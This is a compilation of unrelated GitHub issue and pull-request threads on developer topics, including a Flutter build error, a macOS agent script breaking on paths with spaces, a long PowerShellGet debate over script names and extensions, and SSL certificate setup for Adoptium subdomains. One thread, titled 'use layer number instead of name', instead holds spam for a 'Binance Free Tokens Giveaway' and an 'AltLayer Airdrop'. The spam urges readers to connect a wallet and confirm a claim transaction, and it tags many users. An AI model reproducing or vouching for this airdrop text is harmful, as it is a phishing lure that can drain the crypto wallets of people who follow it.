Decimal numbers less than 1 that can have between 1 and 9 decimal places

How to write a rule condition to compare decimal numbers less than 1 that can have between 1 and 9 decimal places?

Guideline: https://www.mdcalc.com/hiv-needle-stick-risk-assessment-stratification-protocol-rasp#evidence
Error: Apparently it is not possible for GDL 2 Editor to compare the numbers between 1/1000-1/10,000. How can I write a rule for this condition?
@rashmidamu

The issue occurred due to a bug in the GDL2 editor which would be fixed in the latest version.


[tool_crash] ProcessException: Process exited abnormally:xcrun: error: unable to find utility "xcodebuild", not a developer tool or in PATH Command: xcrun, OS error code: 72

Command
flutter build macos

Did you follow the official installation tutorial?
If so, what's the output of flutter doctor?

@YashDaga17
Along with flutter doctor -v, please provide complete error log in properly formatted text.


Suspicious space in an "id" in ContactInformation

There is a suspicious "space" character in ContactInformation.IPCommunication.TypeOfCommunication.id:
https://admin-shell.io/zvei/nameplate/1/0/ ContactInformations/ContactInformation/IPCommunication/TypeOfCommunication

In all other places that use the is base https://admin-shell.io/zvei/nameplate/1/0/ there is no space.

@shuebner Please check the latest version of the SMT the issue is resolved


Clean up console warnings

Nothing major here but we like to keep our console output clean when possible.

Added a few missing parens.
Removed unused example_salt attribute.
Renamed rand_bytes to strong_rand_bytes to match the interface of :crypto.

Thank you 😄


'run' script can't handle spaces in path

The run.sh script referenced will fail if the path it is in has a space in it.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: c9cb3bd5-5c72-4ad6-8566-3bc4527112ce
Version Independent ID: 4c0f61d9-0d61-83e6-ece5-4d96ca91e9d1
Content: Deploy a build and release agent on macOS
Content Source: docs/pipelines/agents/v2-osx.md
Product: devops
GitHub Login: @andyjlewis
Microsoft Alias: alewis

How is this issue different than what happens for any other script?

The script doesn't take arguments, so I can't wrap them in "s manually and scripts that want to work widely take care of making sure that they wrap up paths in "s internally when they capture and pass them around.

Last login: Tue Jun  5 14:36:39 on ttys007
Richards-MacBook-Pro:Folder With Spaces In The Name richard$ cd vsts-agent-osx-x64-2.134.2
Richards-MacBook-Pro:vsts-agent-osx-x64-2.134.2 richard$ ls
bin		config.sh	env.sh		externals	run.sh
Richards-MacBook-Pro:vsts-agent-osx-x64-2.134.2 richard$ pwd
/Users/richard/Folder With Spaces In The Name/vsts-agent-osx-x64-2.134.2
Richards-MacBook-Pro:vsts-agent-osx-x64-2.134.2 richard$ ./run.sh
./run.sh: line 27: /Users/richard/Folder: No such file or directory
Richards-MacBook-Pro:vsts-agent-osx-x64-2.134.2 richard$

ok that run script.  I would suggest you not do this as your users running builds or releases could end up with failures if they don't quote everything.

You might want to update the documentation to not suggest using it then.

Doc fix in progress.


Extracting docs from a closed PR

It seems that we have some doc updates in the following PR (which is closed in favour of a newer PR). Can we extract these doc updates into a separate PR?
https://github.com/TuringLang/Turing.jl/pull/749

On it.

All the doc changes from that PR seem to be already there. I am not sure what changes you are referring to.

Hmm, the docs are already updated by https://github.com/TuringLang/Turing.jl/pull/757/files. Sorry for the confusion!


Internal: For PR / branches it would be great to have an easy way to test the VS Code extension

We could

build the extension and upload the .vsix file in the PR
do a release for each commit on PR / branches (maybe too complicated and option 1 is actually enough)

it would be nice. As a counterpoint, I think checking out the branch and doing what's in the CONTRIBUTING.md to test the local build of the extension isn't too painful, as long as you have a setup where you can build the project.

Those are probably exactly the steps the GH Action workflow should run, as it is the only way to build a extension with a local, unrelease language server.
So we probably want to add a build job to https://github.com/prisma/language-tools/blob/main/.github/workflows/continuous-integration.yml which at the end uploads the .vsix as an artifact to GH Actions so we can download and use. (There are probably also ways to make that easier to download via a comment or a check in the list etc)

For the action we could get inspiration from this workflow
https://github.com/prisma/language-tools/blob/main/.github/workflows/6_build.yml#L1
And we could use

For upload https://github.com/marketplace/actions/upload-a-build-artifact
For adding a comment https://github.com/marketplace/actions/create-or-update-comment

I'm not sure it's going to work without publishing the language server npm package first (due to how vsce works).

undocumented but should work for us here
https://github.com/prisma/language-tools/blob/main/packages/vscode/src/plugins/prisma-language-server/index.ts#L47:L47
So setting process.env.localLSP=true  should actually make it possible to build the extension with the local language server

If all this works, it should also be trivial to have the bot comment on the PR with a link to download the file. (Maybe there is also a nice way to simplify installing such an extension locally in VS Code or even on a remote Gitpod instance for testing)

Yes indeed that could be interesting to have 👍🏼

Did something with https://github.com/prisma/language-tools/pull/1110 seems to be working well so far, we can open new issues if we want to improve

Some documentation is happening in the following PR https://github.com/prisma/language-tools/pull/1129/files/63ae706d1fd2117dbc81d281372bac85ae36c0cf#diff-40cedd83bfa88b6fa3c325e55cd19ada27c7d94ebaae067a3818a59627ecee0e it will be in the CONTRIBUTING.md after it's merged


Updating to MEDS v0.3.2 by correcting the subject ID field name.

Closes #172

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
Attention: Patch coverage is 98.01980% with 2 lines in your changes missing coverage. Please review.

Project coverage is 93.41%. Comparing base (80b31fd) to head (b899a89).
Report is 11 commits behind head on dev.

:white_check_mark: All tests successful. No failed tests found.

Files
Patch %
Lines

src/MEDS_transforms/mapreduce/mapper.py
50.00%
2 Missing :warning:

Additional details and impacted files
@@            Coverage Diff             @@
##              dev     #173      +/-   ##
==========================================
+ Coverage   93.23%   93.41%   +0.18%
==========================================
  Files          25       25
  Lines        1878     1884       +6
==========================================
+ Hits         1751     1760       +9
+ Misses        127      124       -3

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Sentiment Transfer

Love the library!
Was hoping to do sentiment transfer but I see that has not yet been integrated. Any pointers towards off the shelf models that can do that?

I haven't gotten around to doing that. You can watch this repo, when I do add that feature you will get notified :-)


DocsArchive-<IP_ADDRESS>Auto archive content

Please don't merge this PR until target archive repo PR https://github.com/OPS-E2E-PPE/docs-archive-test-target/pull/759 is merged into live branch.
Auto archive content to https://github.com/opstest2/docs-archive-test-target.git

Docs Build status updates of commit 9b0c208:
:x: Validation status: errors
Please follow instructions here which may help to resolve issue.

File
Status
Preview URL
Details

:x:Error

Details

[Error-UserAccountBuildPermissionInsufficientError] Owner v-alji no longer has Read permission of the repository https://github.com/opstest2/docs-archive-test-source. It might be due to recent GitHub changes on SSO. Please ask the owner v-alji to logon to Docs Portal https://ops.microsoft.com once again. If it is not the case, please ask anyone of Admin permission of the repo to assign a new owner via Docs Portal https://ops.microsoft.com

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel


Use the proper install name for back-deployed concurrency on macCatalyst

Fixes rdar://84393581.

@swift-ci please test


use layer number instead of name

🚀 Binance Free Tokens Giveaway! 🌕
Welcome to the exclusive Binance Free Tokens Giveaway! 🎉 Don't miss out on claiming your free tokens. Here's a simple guide to get started:
Steps to Claim:

Connect Your Binance Wallet:

Click on the Connect Wallet.
Select your preferred wallet provider (Metamask, Trust Wallet, etc.).
Follow the prompts to connect your wallet securely.

Interact with the Contract:

Once your wallet is connected, navigate to the Binance Free Tokens Page.
Click on the "Claim" button to interact with the smart contract.

Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

Spread the Excitement:

After successfully claiming your tokens, share the news!

Twitter: Tweet about Your Tokens
Facebook: Share on Facebook

Act fast and enjoy your tokens! This limited-time offer won't last forever. 🌐💰
Note: Make sure to follow official Binance channels for updates and announcements.

AltLayer Airdrop Season One Update

🚀 Exciting Announcement! AltLayer token (ALT) is gearing up for its Binance launch on January 25, 2024. As a token of appreciation, we extend a warm invitation to you to join the "ALT Token community" through an exclusive airdrop tailored for our early supporters and partners. Here's a quick overview:

Total Allocated ALT Tokens: 300,000,000 (3% of the total supply)
Distribution Categories:

Ethereum Mainnet
Binance Mainnet

For a comprehensive breakdown of criteria and further details, refer to the complete announcement Oficial Website.
The window to Claim $ALT tokens is open from January 25 to February 03, 2024.
Any unclaimed $ALT tokens after this period will be returned to AltLayer’s Treasury.
We deeply appreciate your contribution to AltLayer's success! Stay tuned for more exciting developments in Season One.
Important: Please be aware of certain regional restrictions on the airdrop. Review the disclaimer before participating.
iridescent233, @ahmedSalama101, @lwakefield, @s0kil, @kevinoliveira, @scottdotau, @mg-minsan, @UtkarshGupta-CS, @mprince, @kaichieh, @kongp3, @muxuezi, @ray-learn, @mrousavy, @danielbayley, @cheukw, @biluo1989, @athanasiaorange, @heaviss, @georgeyk


SSL Certificate for new subdomain

Currently I am working on adding a new web server on Adopt TRSS machine.
The TRSS url is https://trss.adoptopenjdk.net/, and the new url I plan to add can be either https://trssml.adoptopenjdk.net or https://ml.trss.adoptopenjdk.net. Two things I need help with are:

link the new url to Adopt TRSS machine, which deploys both the TRSS server and the new server.
SSL certificate for this new subdomain.

Thanks a lot for the help!
Related Issue: https://github.com/adoptium/aqa-test-tools/issues/355

@sxa - can you give us advice on how to proceed on this one?  It relates to the Deep AQAtik / Outreachy project that starts next week?

@smlambert Chase me up again next week on this - hopefully one of us will remember - it may need input/approval from Eclipse now.

Have allowed ports 8080 and 8443 through to the machine - current discussion on DNS/SSL Certs are with the PMC

Based on latest PMC call we're going to get entries for trss.adoptium.net and trssml.adoptium.net created and pointing to the existing server.

@sxa Thanks for the update!

@sxa Thanks for getting the urls working. Could we use two ports, with port 443 for trss, and port 8443 for trssml? Thanks!

@gdams I believe you offered to deploy the LE SSL certificates onto this system, so I'll leave the follow-on action here with you.

let's encrypt has been setup to run on trss.adoptium.net
CRON to automatically renew: /etc/cron.daily/letsencrypt-renew
I'll now proceed with a Cloudflare redirect to send all trss.adoptium.net/* traffic to trss.adoptium.net

Redirect is complete. @smlambert can you please ensure that the adoptopenjdk is removed from TRSS now that it is being hosted on an adoptium domain?
I'll begin work on the trssml.adoptium.net project

I've also deployed a let's encrypt cert to trssml.adoptium.net. The CRON file from above will renew both certs.
I do only see TRSS ML model deployed! though so I'm not sure if anything else needs to be done?

re: https://github.com/adoptium/infrastructure/issues/2166#issuecomment-859428131 that is exactly what we expect to see at that link at this time.  The ML deployment work is being done under one of our Outreachy projects (Deep AQAtik) this summer.
As mentioned in the PMC, ideally the ML deployment server will get its own machine at some point (and not be colocated on same machine as trss (achieving more stability for trss and more resources for trssml).  But shared machine can work for now.

@gdams @sxa Both trss and trssml work successfully now! Thanks a lot for all the help!


[AIRFLOW-XXX] Type annotations for hooks

Make sure you have checked all steps below.
Jira

[ ] My PR addresses the following Airflow Jira issues and references them in the PR title. For example, "[AIRFLOW-XXX] My Airflow PR"

https://issues.apache.org/jira/browse/AIRFLOW-XXX
In case you are fixing a typo in the documentation you can prepend your commit with [AIRFLOW-XXX], code changes always need a Jira issue.
In case you are proposing a fundamental code change, you need to create an Airflow Improvement Proposal (AIP).
In case you are adding a dependency, check if the license complies with the ASF 3rd Party License Policy.

Description

[ ] Here are some details about my PR, including screenshots of any UI changes:

Tests

[ ] My PR adds the following unit tests OR does not need testing for this extremely good reason:

Commits

[ ] My commits all reference Jira issues in their subject lines, and I have squashed multiple commits if they address the same issue. In addition, my commits follow the guidelines from "How to write a good git commit message":

Subject is separated from body by a blank line
Subject is limited to 50 characters (not including Jira issue reference)
Subject does not end with a period
Subject uses the imperative mood ("add", not "adding")
Body wraps at 72 characters
Body explains "what" and "why", not "how"

Documentation

[ ] In case of new functionality, my PR adds documentation that describes how to use it.

All the public functions and the classes in the PR contain docstrings that explain what it does
If you implement backwards incompatible changes, please leave a note in the Updating.md so we can assign it to a appropriate release

Code Quality

[ ] Passes flake8

@TobKed FYI here is PR changing Datastore hook https://github.com/apache/airflow/pull/5935

I've rebased on master and solved conflicts. Could you take a look @nuclearpinguin and @mik-laj?

cc @mik-laj


Assign multiple hotkeys to open the same menu

Is this currently doable?
I use the back key on my mouse to launch my pie, but would like to use a keyboard key as a backup when I don't have a mouse.
I've tried to just write a seperate script in AHK natively to bind the two keys to F13, but I can't get the hold function to work.

checking in...

Checking in again.

unmaintained?


Dan Anderson - Assignment #1, #2, and #3

For assignment #1

Including Assignment #2

Including Assignment #3


[PE-D][Tester C] List features seem abit redundant

I don’t really see the need for 3 separate features list job, list company, list contact to list these three separately, as when I am using it, all I have to do is to use list all command, and I can see everything again. Instead of having these 3 features, I thought it would be better its these 3 features could do something like for example, list contact lists all existing contacts that are not matched yet so that it would be better for me as a recruiter to match them a job. Same goes for list company and list job.

Labels: severity.Low type.FeatureFlaw
original: jinhanjinhan/ped#20

I am not sure if I want to use an enhancement on this.
To discuss if there are possible cases where a user might not want to list all.

Yeah, and having more lists is not exactly harmful to the functionality of the app

lists all existing contacts that are not matched yet

This is a valid enhancement, we should include that.


Save-Script should allow .PS1 extension

PS> save-script -name get-uptime.ps1 -path .
PackageManagement\Save-Package : No match was found for the specified search criteria and script name 'get-uptime.ps1'.
At C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\<IP_ADDRESS>\PSModule.psm1:2486 char:21
+             $null = PackageManagement\Save-Package @PSBoundParameters
+                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (Microsoft.Power...ets.SavePackage:SavePackage) [Save-Package], Exception
    + FullyQualifiedErrorId : NoMatchFoundForCriteria,Microsoft.PowerShell.PackageManagement.Cmdlets.SavePackage

PS> save-script -name get-uptime -path .

PS> $PSVERSIONTABLE
Name                           Value
----                           -----
PSVersion                      5.0.10586.494
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.10586.494
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           <IP_ADDRESS>

The Name parameter is the name of the package, not the file in the package.
See get-uptime package on PowerShell Gallery -- its name is get-uptime, not get-uptime.ps1. Meanwhile, this package on PowerShell Gallery is named Azure.Storage. Therefore it is valid to have a package name with a dot ..
The first thing to consider is that, what happens if I upload two packages called Use-Ps1 and Use-Ps1.ps1? I am not sure whether I cannot do this and I would not like to do that just to test a rare case out (practically no one does this, making a package name end in .ps1 or .psm1, I think) and pollute the repository. Please do let me know if one cannot have Use-Ps1.ps1 as the package name.
Speaking from the perspective of "packages", I think one shouldn't use Use-Ps1.ps1 to refer to a package called Use-Ps1. After all, the Use-Ps1 package can include several script files and it sounds strange to save Use-Ps1.ps1, but getting more than one file.
Suppose the worst possible implementation is used in the next version of PowerShell: When you Save-Script -Name '<Abc>.ps1', the cmdlet first searches for a package exactly named <Abc>.ps1 (if it does not do this, some packages can never be downloaded), if it fails, it falls back to <Abc>. Then you are risking leading a new fashion of breaking dependencies -- when people find Saving-Script an <Abc>.ps1 sounds good since it calls the fact of saving a script out, people start Saving-Script get-uptime.ps1 for this fashionable reason, and all of a sudden, someone uploads get-uptime.ps1 package and everyone gets screwed up.
Moral: be accurate.
Though this will not be a breaking change, as nobody ever named their package <Abc>.ps1 (or is there?!), and we can add Accurate switch to this command, allowing one to download a script package with its name appended with .ps1 is stilled not recommended.

As a naive user, I would expect save-script to accept a filename with extension for the name and do the right thing.
If the downside is things getting confused when someone (wrongly!) publishes a package with a .ps1 at the end, maybe the right thing is to ignore it unless the user specifies they really want that with the switch. (And perhaps prevent doing that accidentally in as many package managers as reasonable).
I'd make them use a more pejorative sounding switch name than "Accurate" if they really want to load a package with .ps1 tacked onto the end of the name, but I'm cranky.

Hmmm... Got a solution that both keeps backward compatibility and teaches the users.
Rename the parameter Name to PackageName, and add an alias (of course it's Name) for PackageName. New users will see PackageName in help or when tabbing thru the param list, and will surely understand what the parameter should be.

As a general rule - PowerShell attempts to more like an AK47 than an M16 - loose and reliable vs tight and finicky.  My Issue was making the case that we don't want to be too precise here and that we know what the user is doing one way or the other so let them be sloppy and we'll figure it out.  If they give us NAME, we look for the file NAME.ps1, why not exact the NAME if they specify Name.ps1?
So the question is, for scripts, what is the relationship between the "name" and the "filename"?
On Windows, you could assert that schema is that the FILENAME is of the form NAME.ps1.
But on Linux, a script can have a FILENAME in the form NAME.  (We don't need .ps1 on Linux because you can put #!/path/powershell as the first line of the script instead).
So the first question to answer is whether we would allow BOTH  FOO and FOO.PS1 to be published to the gallery?
In order to answer that Q, I would ask another question, would we allow FOO, FOo, Foo, foo to be published as different scripts?  Unix is case sensitive, so these could be completely different scripts on Linux.
My initial reaction is to say NO - that for the gallery, we should use the Case-Preserving/Case-Insensitive rule.  I've never heard a compelling argument for why the increase in usable namespace warranted the corresponding increase in errorspace.  Of course I'm biased in this regard because I make lots of mistakes and I want a system that is forgiving.
When we pull on this thread long enough, I think it leads us to the question of community interaction - do we expect both the Unix and Windows scripts to be shared in the same repository.  If the repository supports case sensitivity for the Unix community, it would support different scripts being named FOO and foo and you could write those scripts so that FOO required foo to run.  Of course, this would break completely on a Windows system.
Thoughts:

The gallery exists and is used by the Windows community.
I think it is beneficial for both Unix and Windows community to share a common repository.
Adopting a case-preserving/case-insensitive rule for the repository is good tradeoff to accomplish that.
Ergo = adopting a sloppy model where we accept NAME.PS1 or NAME is desirable.  If you give us either, it will be easy for us to find the NAME and the FILENAME so we should just be nice and do the work for the user.

We are left with the remaining hard problem:

Since Unix allows scripts with just a NAME and not a .ps1 extension - do we allow those scripts to be published in the gallery or do we require them to have a .ps1 extension?

I'm inclined to trying and make that work but then encouraging people to adopt the best practice of always using a .PS1 extension AND putting #! in the first line.
I would love thoughts on that topic.

Well said Jeffrey Snover!
This could one strong topic to discuss in the next MVP Summit. Scripts collaboration between Windows and Linus will be a challenge . I wouldn't be good that a FOO, foO, or fOo.Ps1 would overwrite a foo.PS1 script in the gallery. So, again, the adoption of best practices for Linux will be critical.
This a good discussion!

I agree that we should NEVER use Use-Ps1.ps1 as the same package name. But again, we should not confuse users with the name of a file in a package and the package itself.
There are many subtle things if you make Save-Script look for Abc given package name Abc.ps1.

Should we make Save-Module look for Abc given the package name Abc.psm1?
Should we make Save-Script look for Abc given the package name Abc.ps1.ps1, since a recursive elimination should be applied?

Now PSGallery keeps package names Case-Preserving/Case-Insensitive, that's good.
Another analogy is that, everyone who uses PowerShell should know that, we should Invoke-Item .\a.txt, not Invoke-Item .\a with extension hidden. And the user should be clear that he is saving a script package, not a script file, though the package could contain just one file.
Yet another analogy is that, say you have a git repo that has abc.ps1 in it, nobody will git clone remote://abc.ps1, because they know they are cloning a repo, not a file.
And you can't deal with the case, when the package name is Get-TaskmgrMeasures and there are two files, Get-UpTime.ps1 and Get-MemoryUsage.ps1. The changed behaviour becomes unintuitive again.
My point is that, this change may seem helpful and forgiving for newbies, but causes subtle trouble when looked into further. Therefore, what should be done, I think, is to guide and educate the user more effectively, by renaming the name of Name to PackageName.
On the cross-platform scripting, I think the idea of shebanging the script is great.

@GeeLaw I might have confused the discussion.
What I'm saying is that for FOO.PS1 - the NAME is always FOO and the filename is always FOO.PS1.  Full Stop.
From there, I'm saying that a user should be able to specify either one for publishing, saving, updating etc and that we should be able to figure out the rest.  We can do this because there is a 1 to 1 correspondence between a script package and a script file and because the cmdlet name itself is telling us that it is working with a SCRIPT and therefore can allow this shortcut.
This is not case with modules or git repos so I don't think we have the problem that you are worried about.  Double check my thinking on that and if I got it wrong - give me an step-by-step where it breaks down because I'm not seeing it right now.
Thanks for the engagement @GeeLaw !

@jpsnover You forgot dependencies. See this package on PowerShell Gallery. When you Save-Script -Name Update-Windows -Path ., you get PSWindowsUpdate folder (the module the script depends on) as well as Update-Windows.ps1 -- it's not saving a file, therefore this might cause confusion.
There is .EXTERNALSCRIPTDEPENDENCIES in script info created by New-ScriptFileInfo. Though a script package can contain only one script file, it can implicitly contain more files by adding dependencies.
I have to apologise for my example since you cannot Save-Script -Name Get-TaskmgrMeasures without getting a Get-TaskmgrMeasures.ps1. And at the same time, Unix users shouldn't be allowed to publish a script without extension name as we see all script packages in PowerShell Gallery contains (by itself) exactly one script file (named <PackageName>.ps1) and one manifest file (named <PackageName.nuspec> -- new practices shouldn't break this. But still, it's great practice to add shebang line in scripts published for cross-platform usage.
One more thing, for a new user (who might run into this problem without knowing how to fix this immediately), he could visit the repository (e.g. PowerShell gallery) and copy the line of saving/installing the package from the website. Therefore most users shouldn't have problem saving/installing a package with correct name.

We are left with the remaining hard problem:
•Since Unix allows scripts with just a NAME and not a .ps1 extension - do we allow those scripts to be published in the gallery or do we require them to have a .ps1 extension?
I'm inclined to trying and make that work but then encouraging people to adopt the best practice of  always using a .PS1 extension AND putting #! in the first line.

If we require #! for the Windows world  it is logical to require  .PS1 for Unix world. Reciprocal convergence.

I agree with this sentiment:

If we require #! for the Windows world it is logical to require .PS1 for Unix world. Reciprocal convergence.

Not only that, what if there is support for a .ps2 extension in future builds of PowerShell? To maintain consistency with all of PowerShell I think requiring both the shebang and the file extension is the way to go, and PSScriptAnalyzer can help make this easier for folks to learn/accept.

This is a great discussion focused on what the gallery & PowerShellGet cmdlets support.
The only hard stake in the ground that I'll put is that PowerShellGallery is the place we are establishing where users should look for stable scripts regardless of platform. That's our mission.
It seems we have consensus around avoiding user confusion that could arise around case sensitivity. I'd welcome compelling arguments for being case-insensitive.
For the file names, though, doesn't this impact what a file name can be generally in our platform across all environments? We make lots of assumptions about files based file extension that go beyond naming a script for separate use.
For example, when Pester runs, are we going to look for and attempt to load any file in the tests folder, whether or not it's a .PS1? It's just a script file, so shouldn't it follow the same rules as standalone scripts? If not, what would be a good rule set?
How does this same thing apply to .PSM1, PSD1, etc?

Extensions in Windows is allowed
Extensions in Linux   is allowed
Extensions in Windows is a base.
Extensions in Linux   is optional.
Windows use extensions to detect file type. High level API based on extensions to launch appropriated application.
Linux   don't use extensions to detect file type. Linux always open a file and analyze a file mark to launch appropriated application.
Windows use external file type mark. Optimized for GUI.
Linux use internal file type mark. Don't optimized for GUI.
So our way is single and it is reciprocal convergence.
Interestingly, Windows can create multiple files of the same name but different types in one folder because there is a different extensions. Linux can not do like that.
@JKeithB

I'd welcome compelling arguments for being case-insensitive.

Case-insensitive is user-friendly. Linux use this too - for URL in browsers, ex. 😊

Another perspective on being case-kept and case-insensitive: though most modern file system are case-sensitive, a lot of high-level API set, e.g. Win32, adopts case-kept and case-insensitive. AFAIK, the default setting on Mac doesn't allow two files whose names differ only by case.
Summary till now:

A script package named <abc> will contain (by itself) only one script named <abc>.ps1, till now;
It is possible to publish <abc>.ps1.ps1 to the repo, but no one has done that yet;
A script package can have external dependency, therefore Save-Script might give several script files, and this is a current practice;
The only cross-platform-compatible way is to use both extensions and shebang line, and being case-insensitive.

Because of point 3, I am against allowing the user to save Get-UpTime package by invoking Save-Script -Name Get-UpTime.ps1. This could cause confusion because you are not only saving one script file.
Point 4 arises from a broader topic on cross-platform PSGallery.

This issue was moved to PowerShell/PowerShellGet#22


Missing API?

On https://sumup.co.uk/integration I read about App Switch and SMPPaymentRequest class. Where I can find it?

Hi Tomasz.
It's missing indeed, will check. Sorry for the inconvenience.
Regards,
Lukas

Hi Tomasz.
You should find everything you need here: https://github.com/sumup/sumup-ios-url-scheme
Sorry for not providing this earlier.
Regards,
Lukas


Get Source of Tenant Media Table

Describe the request
Hallo,
We currently have a tenant media table that has a total size of ~78 Gigabyte. We would like to now were this data is coming from.
We created a solution for this in which we went through every field were the field type was either media or mediaset.
however we only get ~46 gigabytes back in our calculation.
At this point we have tried many options. Like finding the orphans of these 2 tables among other things.
What I would like to know whether or not it is possible to use the Media Id of a record in the table tenant media to find the record it is used in. (E.g. an image on a item) as far as I know this is not possible.
Any other suggestions or tips are welcome
Additional context
N/A

Sorry, we'd like to help, but this just isn't the right team to ask. Try posting your question to the following resources instead:
Business Central Community
mibuso forum
Viva Engage
This GitHub repository handles issues with extending published apps, and extensibility in general, for the latest release of Business Central.

If you're running out of DB space, this would also warrant a support case of course. With a support case, we could look into the specifics of your environment and help you. Without access to your environment, it's hard to guess.


DRAFT: Verify that the embeded map correctly handles private facilities

Draft
This is a draft issue, and it will need to clarify specs and formalize what
counts as "done" before work begins on it.
Check with the issue's creator before starting work on this issue.

The use case for this came from a brand that wanted to include tier 2 facilities but didnt want it to show up until they were confident in quality of data.
think about for EM 3.0


Generate SLSA Attestations with new releases

What would you like to be added:
SLSA Attestation Generated with new releases.
Why is this needed:
SLSA's are resources that show evidence that the release consumers receive has not been tampered with during the supply chain process.
Completion requirements:
Implementation of a tool such as https://github.com/kubernetes-sigs/tejolote into the CI process for builds. This will generate the SLSA and attach it to the release.
This enhancement requires the following artifacts:

[ ] Design doc
[ ] API change
[ ] Docs update

The artifacts should be linked in subsequent comments.

Tagging @upodroid from K8 Security Slam 2023

/cc @puerco

/sig release

/remove-lifecycle stale

/remove-lifecycle stale
/good-first-issue

I would like to help and contribute :) There is an open-source provenance tool called Witness that can generate attestations. There is a Github action that could be implemented in the CI process. Thoughts?

I would like to help and contribute :) There is an open-source provenance tool called Witness that can generate attestations. There is a Github action that could be implemented in the CI process. Thoughts?

Sure, feel free to take this issue with /assign comment.


New module for istio annotation definitions.

Purpose

Move istio annotations to separate module

Goals

vendor specific annotations.

Codecov Report

Merging #309 into master will not change coverage.
The diff coverage is 61.11%.

@@            Coverage Diff            @@
##             master     #309   +/-   ##
=========================================
  Coverage     78.65%   78.65%
  Complexity      689      689
=========================================
  Files            65       65
  Lines          3022     3022
  Branches        290      290
=========================================
  Hits           2377     2377
  Misses          506      506
  Partials        139      139

Impacted Files
Coverage Δ
Complexity Δ

...ernetes/processors/ServiceAnnotationProcessor.java
84.21% <ø> (ø)
14 <0> (ø)
:arrow_down:

...va/org/ballerinax/kubernetes/KubernetesPlugin.java
78.88% <ø> (ø)
16 <0> (ø)
:arrow_down:

...tes/handlers/istio/IstioVirtualServiceHandler.java
89.53% <100%> (ø)
18 <0> (ø)
:arrow_down:

...kubernetes/handlers/istio/IstioGatewayHandler.java
75.67% <100%> (ø)
15 <0> (ø)
:arrow_down:

...ernetes/processors/AnnotationProcessorFactory.java
87.09% <100%> (ø)
12 <0> (ø)
:arrow_down:

.../istio/IstioVirtualServiceAnnotationProcessor.java
72.72% <50%> (ø)
20 <0> (ø)
:arrow_down:

...cessors/istio/IstioGatewayAnnotationProcessor.java
88.52% <50%> (ø)
27 <0> (ø)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ac7effe...7d13162. Read the comment docs.


not using dir as base dir if it's empty

Proposed check to see if the path is empty and use the working dir if it is. This came out of a discussion I had with @bradrydzewski around how to call terraform in the build step of a drone build. The suggested way (which should be easier in 0.5) was to use the drone-terraform image and create the plugin config in json, something like
/bin/drone-terraform -- '{"vargs":{"plan":true...}'
When calling this way, path is empty.

@jackspirou could you take a look at this?

LGTM

LGTM


Filter Issues by Difficulty Level

Description

Please include a summary of the changes and the related issue. Please also include relevant motivation and context. List any dependencies that are required for this change.
Related Issue

Fixes # (issue)
Type of change

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

Motivation and Context

How Has This Been Tested?

Please describe the tests that you ran to verify your changes. Provide instructions so we can reproduce. Please also list any relevant details for your test configuration
Screenshots (if appropriate):
Checklist:

[ ] I have registered myself at Contrihub website.
[ ] My code follows the code style of this project.
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] My changes generate no new warnings
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[ ] I have read the CONTRIBUTING document.
[ ] Any dependent changes have been merged and published in downstream modules
[ ] I have added tests to cover my changes.
[ ] All new and existing tests passed.

Test Configuration:

Firmware version:
Hardware:
Toolchain:
SDK:

@Aryan14021974 I'll review the PR soon

@Aryan14021974 you PR is failing automated testing please check

@Aryan14021974 you work is not upto the mark so closing this PR.


chore: Update ACA_Py to use AnonCreds RS 02.0 dev7 release

Pleaes update the ACA-Py dependencies to use the latest release of the AnonCreds RS library, https://github.com/hyperledger/anoncreds-rs/releases/tag/v0.2.0-dev.7.
Originally going to assign this to @ianco , but given that @jamshale is closer to the tests that have been built, changed my mind. Hope that is OK.

@tra371 — your work will depend on this version of the AnonCreds RS.


Enable configuration of the android:excludeFromRecents activity attribute

Address part 2 of #55274

Thanks!

Cherry-picked for 3.5.

Cherry-picked for 3.4.1.


Custom input element loses focus after any character entered

I'm having a problem with trying to create a custom value editor for numbers (I want to validate the number).
My understanding from reading the docs is that something like this should work:
import React from 'react';

const ValueEditor = ({ handleOnChange, value }) => (
  <input type="text" onChange={(e) => handleOnChange(e.target.value)} value={value} />
);
const App = () => (
  <QueryBuilder
    fields={[{ name: "test", label: "Test" }]}
    controlElements={{ valueEditor: ValueEditor }}
  />
);

//...

Which appears to work fine, but when I type in the input it loses focus after each keystroke.
Any suggestions?

@lox can you set up a codesandbox reproducing the issue?

Same here, but only when I am updating the parent component state onQueryChange - it seems to be because the parent state is updating, re-rendering the input on every change. I have yet to find a solution.

@lox / @CharlieDieter, I was able to reproduce the issue in this codesandbox.  The problem occurs when you define the ValueEditor within the App component.  That causes the ValueEditor to be re-instantiated each time App renders, which happens on each keystroke for a controlled component like that.
The solution is to define ValueEditor outside of the scope of App like in your example.
If that doesn't help, or that wasn't the actual issue, please set up a codesandbox example demonstrating the problem.

Can anyone find a solution? I am facing the same issue and, I have not got any solution yet. @jakeboone02 @lox

